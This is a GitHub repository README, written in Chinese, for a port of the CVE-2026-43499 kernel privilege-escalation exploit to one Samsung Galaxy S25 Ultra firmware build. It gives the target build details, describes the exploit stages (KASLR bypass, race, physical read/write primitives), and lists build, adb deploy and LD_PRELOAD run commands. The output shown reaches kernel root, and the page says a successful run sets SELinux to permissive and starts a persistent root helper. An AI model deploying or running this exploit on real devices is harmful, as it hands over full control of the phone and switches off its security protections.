BuSung-dev/CVE-2026-43499-S25U

GitHub: BuSung-dev/CVE-2026-43499-S25U

针对三星 Galaxy S25 Ultra 特定固件的 CVE-2026-43499 内核提权漏洞利用移植,提供设备专属的偏移量、KASLR 绕过及 root 命令辅助程序。

Stars: 24 | Forks: 3

# CVE-2026-43499 - Galaxy S25 Ultra 本仓库包含针对韩国版 Samsung Galaxy S25 Ultra 的 CVE-2026-43499 漏洞利用的特定设备移植版本。 ## 受支持的目标 ``` Device: Samsung Galaxy S25 Ultra (SM-S938N) Codename: pa3q Android: 16 / SDK 36 Build number: S938NKSUACZF1 Build display ID: BP4A.251205.006.S938NKSUACZF1 Build fingerprint: samsung/pa3qksx/pa3q:16/BP4A.251205.006/S938NKSUACZF1_OKRACZF1:user/release-keys Kernel: 6.6.98-android15-8-pd6ff1cd-abogkiS938NKSUACZF1-4k Architecture: aarch64 ``` 本仓库中的偏移量和结构布局专用于 上述固件。此目标配置文件不支持其他型号和固件版本。 ## 参考源码 此移植版本基于以下发布的漏洞利用实现: - [NebuSec/CyberMeowfia — IonStack/CVE-2026-43499/exploit](https://github.com/NebuSec/CyberMeowfia/tree/b850d3bddc74c3328d5fbcc0568d21962b55d949/IonStack/CVE-2026-43499/exploit) - 用作移植基础的上游修订版本:`b850d3bddc74c3328d5fbcc0568d21962b55d949` 上游的 Apache License 2.0 保留在 [LICENSE](LICENSE) 中。 ## 主要移植变更 - 添加了 `pa3q-S938NKSUACZF1` 目标偏移量和 kernel 结构布局。 - 添加了针对 Samsung kernel 的基于 tracefs 的 KASLR slide 自动恢复。 - 移植了 pselect 竞争、伪造的 PI waiter/task 布局、CFI/FOPS 阶段以及物理读写原语。 - 添加了 KDP 安全的 `system_unbound_wq` user-mode-helper root 路径。 - 添加了位于 `/data/local/tmp/cve-2026-43499-root` 的基于 socket 的 root 命令辅助程序。 ## 构建 将 `ANDROID_NDK_HOME` 设置为 Android NDK r29 或兼容的工具链,然后运行: ``` make -j8 PROJECT=pa3q-S938NKSUACZF1 ``` 输出: ``` build/pa3q-S938NKSUACZF1/bin/preload.so build/embed/su_daemon_aarch64_pie ``` ## 部署 ``` adb push build/pa3q-S938NKSUACZF1/bin/preload.so /data/local/tmp/cve-2026-43499 adb push build/embed/su_daemon_aarch64_pie /data/local/tmp/cve-2026-43499-root adb shell chmod 755 /data/local/tmp/cve-2026-43499 /data/local/tmp/cve-2026-43499-root ``` ## 运行 ``` adb shell "LD_PRELOAD=/data/local/tmp/cve-2026-43499 /system/bin/true" adb shell "/data/local/tmp/cve-2026-43499-root -c 'id'" ``` 在 `S938NKSUACZF1` 上验证的结果: ``` root umh result wake=1 complete=1 retval=0 socket=1 pipe-physrw-summary done=1 root=1 uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0 ``` 初始的 pselect 阶段是基于竞争的。如果在到达物理读写阶段之前运行以 `root=0` 退出,可以重试。成功执行会将 SELinux 切换为 permissive 模式,并启动 root 辅助程序直到下次重启。 请仅在你拥有或获得明确授权进行测试的设备上使用。
标签:Android, DSL, UML, Web报告查看器, 云资产清单, 内核提权, 安全渗透, 客户端加密, 目录枚举, 移动安全, 逆向工程